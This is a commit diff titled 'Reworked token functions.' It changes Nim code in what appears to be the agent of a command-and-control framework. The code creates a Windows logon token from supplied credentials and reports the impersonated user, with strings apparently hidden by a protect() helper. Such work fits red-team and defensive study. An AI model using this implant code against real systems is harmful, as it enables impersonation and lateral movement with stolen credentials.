Reworked token functions.

This commit is contained in:
Jakob Friedl
2025-10-17 18:35:40 +02:00
parent 76930c9302
commit b3e82fc3a8
3 changed files with 53 additions and 34 deletions

View File

@@ -61,7 +61,7 @@ when defined(agent):
var success: bool
var logonType: DWORD = LOGON32_LOGON_NEW_CREDENTIALS
let
var
username = Bytes.toString(task.args[0].data)
password = Bytes.toString(task.args[1].data)
@@ -73,8 +73,9 @@ when defined(agent):
if task.argCount == 3:
logonType = cast[DWORD](Bytes.toUint32(task.args[2].data))
if not makeToken(userParts[1], password, userParts[0], logonType):
return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(protect("Failed to create token.")))
let impersonationUser = makeToken(userParts[1], password, userParts[0], logonType)
if logonType != LOGON32_LOGON_NEW_CREDENTIALS:
username = impersonationUser
return createTaskResult(task, STATUS_COMPLETED, RESULT_STRING, string.toBytes(fmt"Impersonated {username}."))
except CatchableError as err: